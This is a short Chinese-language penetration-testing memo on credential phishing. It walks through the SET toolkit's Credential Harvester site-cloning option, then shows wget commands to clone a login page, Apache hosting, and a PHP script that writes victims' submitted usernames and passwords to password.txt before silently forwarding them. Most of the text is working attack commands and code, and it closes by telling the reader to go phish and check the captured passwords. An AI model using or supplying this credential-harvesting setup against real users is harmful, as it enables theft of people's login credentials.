使用SET社工包釣魚 · 滲透備忘錄

--------------------------------------------------- 使用SET社會工程學工具包釣魚收集密碼 --------------------------------------------------- $->setoolkit 1.選擇選項1社會工程學攻擊，回車 2.然后選擇Website Attack Vectors 3.選擇Credential Harvester Attack Method 4.選擇Site Cloner 5.它會詢問收集到的證書發到哪個IP，輸入kali攻擊主機的IP 6.下面它會詢問，要克隆的URL，輸入我們要克隆的頁面URL 7.在瀏覽器測試訪問kali攻擊主機 8.回到終端輸入收集器文件保存的目錄，默認為 `/var/www/html` `cd /var/www/html` 9.假設有結果文件rs.txt,查看他的內容 cat rs.txt ------------------------------------------- **使用之前保存的頁面創建釣魚網站** `wget -r -p bodgeit_offline/http://192.168.0.100/bodgeit` 將下載的站點復制到kali中apache的根目錄，在root終端中 `cp -r bodgeit_offline/192.168.0.100/bodgeit /var/www/html/` 之后我們啟動Apache服務 `service Apache start` 然后我們需要更新我們的界面，使他重定向到我們手機密碼的腳本: 打開bodgeit目錄中的login.jsp文件找到form表單的的代碼，添加`action=“post.php”` ~~~ <?php $file='password.txt'; file_put_contents($file,print_r($_POST,true),FILE_APPEND); $username=$_POST['username']; $password=$_POST['password']; $submit="Login"; ?> <body onload="frm1.submit.click()"> <form name="frm1" id="frm1" method="POST" action="kali主機的釣魚登錄頁面"> <input type="hidden" value="<?php echo $username;?> name="username" "> <input type="hidden" value="<?php echo $password;?> name="password" "> <input type="submit" value="<?php echo $submit;?> name="submit" "> </form> </body> ~~~ 密碼會存放到password.txt這個文件中，我們要給它權限 ~~~ touch password.txt chown www-data password.txt ~~~ 去釣魚嘍，然后回來檢查密碼文件 `cat password.txt`